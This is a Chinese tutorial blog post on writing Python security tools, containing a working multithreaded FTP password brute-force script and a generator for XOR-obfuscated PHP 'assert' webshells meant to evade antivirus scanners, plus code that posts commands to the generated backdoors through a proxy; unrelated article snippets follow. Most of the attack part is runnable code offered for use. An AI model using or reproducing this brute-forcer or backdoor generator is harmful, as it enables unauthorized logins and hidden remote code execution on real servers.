python开发poc2

#本课知识点和目的:

---协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

下载ftp服务器模拟器

https://lcba.lanzouy.com/iAMePxl378h

随便创建一个账户,然后登录进去把ip改成和物理机以太网适配器一样的ip

设置好之后关闭,在打开,服务就自动开启了,才可以爆破他

可以正常登录

爆破代码明明木有问题。但是还是报错,这是因为,没有抓取错误,登录爆破失败的时候就开始报错

 

调试了,还能输出正确密码

增加线程

def ftp_bao():while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect('192.168.109.1', 21)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':q = queue.Queue()#创建一个队列对象for usern in open('user.txt'): #循环遍历用户名for passfile in open('passwd.txt'):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(10):#创建十个线程t = threading.Thread(target=ftp_bao())#去执行target=ftp_bao()函数t.start()

这就是以十个线程去执行

以命令行模式运行

最终代码

import ftplib
import threading
import queue
import sys
#简单的模拟爆破
#爆破药品修改,ip,端口。用户名,密码# while not q.empty():
def ftp_bao(ip,port):while not q.empty():zidian = q.get()#zidian = zidian.split('|')#以|分割成列表username = zidian[0]passwd = zidian[1]ftp = ftplib.FTP()  # 调用ftp登录ftp.connect(ip, port)#确定ip和端口# 登录的ip和端口try:ftp.login(username,passwd)#登陆的账号和密码print(username+'|'+passwd+'yes')except Exception as a:passif __name__ == '__main__':ip = sys.argv[1]port = sys.argv[2]username = sys.argv[3]passwd = sys.argv[4]xc = sys.argv[5]q = queue.Queue()#创建一个队列对象for usern in open(username): #循环遍历用户名for passfile in open(passwd):#在每一个用户名都遍历一遍字典usern=usern.strip()#去除干扰符合passfile=passfile.strip()q.put(usern+'|'+passfile)#读取到账户密码都存到一个字典里面.put是发送for x in range(int(xc)):#创建十个线程t = threading.Thread(target=ftp_bao(ip,int(port)))  # 去执行target=ftp_bao()函数t.start()# ftp_bao()

---掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等 

异或就是把一个字符转换成ascii码值的二进制在,然后和另外同样方式转换的二进制,每一位都对上的如果两个对上的数相同就输出0,不同就输出1,结果就是两个数异或后的值,在转换为ascii码值之后在找到对应的字符,就是异或完最后的结果,这里刚好有一个比较凑巧的结果

("!"^"@")=a     感叹号和艾特异或后等于a

下面这个感觉思路不对,也用不到,就摘抄的别人的

---在PHP study的sqllab的靶场下(注意:PHP的字符串以.连接):

---命令执行函数:eval不能拆分,assert函数可以拆分

---<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>


---尝试连接


---使用安全狗和河马进行病毒查杀(不得不说狗子是真的垃圾):

#原理:

---!的ascii对应十进制33,二进制:00100001

---@对应十进制64,二进制:01000000


---两个二进制异或为:01100001,对应十进制为:97

---十进制对应的ASCII符合为:a

#开发思路

---通过异或运算,分别批量替换a,s,s,e,r,t,进而构造命令执行函数

---1.for循环0-127(ascii范围为[0.127])2.在循环内将ascii值通过chr转换为字符串进行异或2.判断异或后的值是否==a,如果等于则成功3.扩大范围,对assert的6个字符串一起进行异或(我这里添加了一个判断异或后是否等于97即a)

---code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'


---在test目录生成128个异或的后门文件


---用河马查杀试一下,这尼玛一个也没跑掉全被查出来了

---视频里面上传目录后请求感觉不现实


---如果按照视频里面的思路进行请求(原来post是这样传参的)


#完整代码

import requests

index=0
for i in range(0,128):
    for ii in range(0,128):
        if i^ii==97:
            index+=1
            code="<?php $a="+'('+"'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"+')'+'.'+"'ssert'"+';$a($_POST[x]);?>'
            name=str(i)+'xd'+str(ii)+'.php'
            name='D:/test/'+name
            with open(name,'a+',encoding='utf-8') as f:
                f.write(code)
                f.close()
            print('生成了'+str(index)+"个文件")
            # 如果要进行请求的话
            header = {
                'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}
            proxy = {'http': '101.200.127.149:3129'}
            data = {'x': 'phpinfo();'}
            try:
                url='http://127.0.0.1:8888/x/'+str(i)+'xd'+str(ii)+'.php'
                result=requests.post(url=url,data=data,headers=header,proxies=proxy,timeout=0.1).content.decode('utf-8')
                if 'System' in result:
                    print(name+'is ok')
            except Exception as e:
                pass 作者:沙漠里的鲸 https://www.bilibili.com/read/cv18093347/ 出处:bilibili

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/599023.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

14届蓝桥杯 C/C++ B组 T6 岛屿个数 (BFS,FloodFill,填色)

首先拿到这道题不要想着去直接判断环里面的岛屿&#xff0c;这样太困难了&#xff0c;我们可以使用之前做过的题的经验&#xff0c;在输入加入一圈海水&#xff0c;然后从(0,0)点开始BFS&#xff0c;这里进行八向搜索&#xff0c;搜到的0全部都染色成2&#xff0c;假如2能够蔓延…

景区云旅游/视频慢直播方案设计与平台搭建

一、行业背景 经文化和旅游部数据中心测算&#xff0c;今年清明节假期3天全国国内旅游出游1.19亿人次&#xff0c;按可比口径较2019年同期增长11.5%&#xff1b;国内游客出游花费539.5亿元&#xff0c;较2019年同期增长12.7%。踏青赏花和户外徒步成为假期的热门出游主题。随着…

Autodesk AutoCAD 2025 (macOS, Windows) - 自动计算机辅助设计软件

Autodesk AutoCAD 2025 (macOS, Windows) - 自动计算机辅助设计软件 AutoCAD 2024 开始原生支持 Apple Silicon&#xff0c;性能提升至 2 倍 请访问原文链接&#xff1a;https://sysin.org/blog/autodesk-autocad/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处…

阿里云乱扣费故障,技术堪忧

2024年4月3日&#xff0c;距离2023年11月的故障没有多久&#xff0c;阿里云又出现乱扣费故障&#xff0c;导致账号欠费3000多&#xff0c;oss&#xff0c;块存储&#xff0c;cdn等所有后付费服务停止工作&#xff0c;不知道这个故障能算什么级别的。 凌晨1点多&#xff0c;收到…

海外媒体宣发,穿透与世界的交流 - “保姆级”教程 - 大舍传媒

1. 引言 在当今高度信息化的世界&#xff0c;境外媒体宣发已经成为企业、品牌和政府机构推广自身形象、扩大影响力的重要手段。如何在国际舞台上有效传播信息&#xff0c;提高国际知名度&#xff0c;成为了许多组织面临的重要课题。大舍传媒凭借多年的境外媒体宣发经验&#x…

前端入门(认识HTML,CSS,JavaScript三件套)

目录 前言 HTML&#xff08;构建&#xff09; CSS&#xff08;设计&#xff09; JavaScript&#xff08;互动&#xff09; 总结 相关书籍推荐 前言 前端&#xff08;Frontend&#xff09;指的是与用户直接交互的部分&#xff0c;也称为客户端。在网站或者应用程序中&…

一文读懂Memory consistency model (内存模型)

Memory consistency model又称Memory model (内存模型)&#xff0c;定义了使用Shared memory(共享内存)执行多线程(Multithread)程序所允许的行为规范。Memory model定义了软硬件接口规范&#xff0c;以便程序员预料硬件会有什么行为&#xff0c;而硬件实现者知道可以使用什么样…

初识React(二)响应事件、state、useState

(一)响应事件 使用 React 可以在 JSX 中添加 事件处理函数。其中事件处理函数为自定义函数&#xff0c;它将在响应交互&#xff08;如点击、悬停、表单输入框获得焦点等&#xff09;时触发 1.给组件添加事件处理函数 就像vue的click"handleClick"一样 但这里要特别…

Redis单线程 VS 多线程

一、Redis 为什么选择单线程&#xff1f; 这种说法其实并不严谨&#xff0c;为什么这么说呢&#xff1f; Redis的版本有很多 3.x、4.x、6.x&#xff0c;版本不同架构也不同的&#xff0c;不限定版本问是否单线程也是不太严谨。 版本3.x&#xff0c;最早版本&#xff0c;也就…

SQLite 4.9的 OS 接口或“VFS”(十三)

返回&#xff1a;SQLite—系列文章目录 上一篇:SQLite字节码引擎&#xff08;十二&#xff09; 下一篇:SQLite 4.9的虚拟表机制(十四) 1. 引言 本文介绍了 SQLite OS 可移植性层或“VFS” - 模块位于 SQLite 实现堆栈底部 提供跨操作系统的可移植性。 VFS是Virtual File…

mac老版本如何升级到最新版本

mac老版本如何升级到最新版本 老macbook升级新版本&#xff08;Big sur、Monterey&#xff09; 首先介绍我的电脑的机型及情况&#xff1a; 2015年初的MacBook Air 处理器是1.6Hz 双核Interl Core i5 内存4G 老版本只能升到10.13 想要升到最高版本的原因&#xff1a;想要注册…

解决Xshell连接不上虚拟机

相信有很多同学和我一样遇到这个问题&#xff0c;在网上看了很多教程基本上都让先在虚拟机输入ifconfig命令查看ip地址&#xff0c;弄来弄去最后还是解决不了&#x1f62d;&#x1f62d;&#xff0c;很大概率是我们的虚拟机没有开启网卡&#xff0c;默认Centos是不启用网卡的&a…